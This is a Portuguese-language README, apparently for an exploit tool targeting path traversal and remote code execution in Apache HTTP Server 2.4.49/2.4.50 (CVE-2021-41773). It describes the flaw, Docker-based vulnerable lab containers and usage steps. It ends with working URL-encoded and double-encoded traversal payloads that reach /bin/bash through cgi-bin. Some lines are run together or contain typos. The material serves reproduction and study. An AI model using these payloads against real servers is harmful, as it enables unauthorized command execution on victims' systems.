
Script de exploit para path traversal e execução remota de código no Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773). Inclui ambiente de reprodução baseado em Docker e explicação detalhada da técnica de bypass de dupla codificação de URL.
Foi encontrada uma falha em uma alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas semelhantes a Alias. Se arquivos fora desses diretórios não estiverem protegidos pela configuração padrão "require all denied", essas solicitações podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos de alias, isso pode permitir execução remota de código. Sabe-se que esse problema está sendo explorado ativamente. Esse problema afeta apenas o Apache 2.4.49 e não versões anteriores. A correção no Apache HTTP Server 2.4.50 foi incompleta, consulte CVE-2021-42013.
pip3 install colorama)perl hello-world executando no(s) contêiner(es)Inicie um Apache httpd vulnerável (com a configuração padrão) como contêiner docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 selecione o ataque na versão 2.4.49
1.3 python3 main.py localhost:2450
1.4 selecione o ataque na versão 2.4.50
O exploit utilizará o módulo CGI do Apache httpd para permitir a execução de executáveis arbitrários por meio de path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ está codificado em URL e equivale a ../ se decodificado.
.%%32%658 está duplamente codificado em URL e também equivale a ../ se decodificado.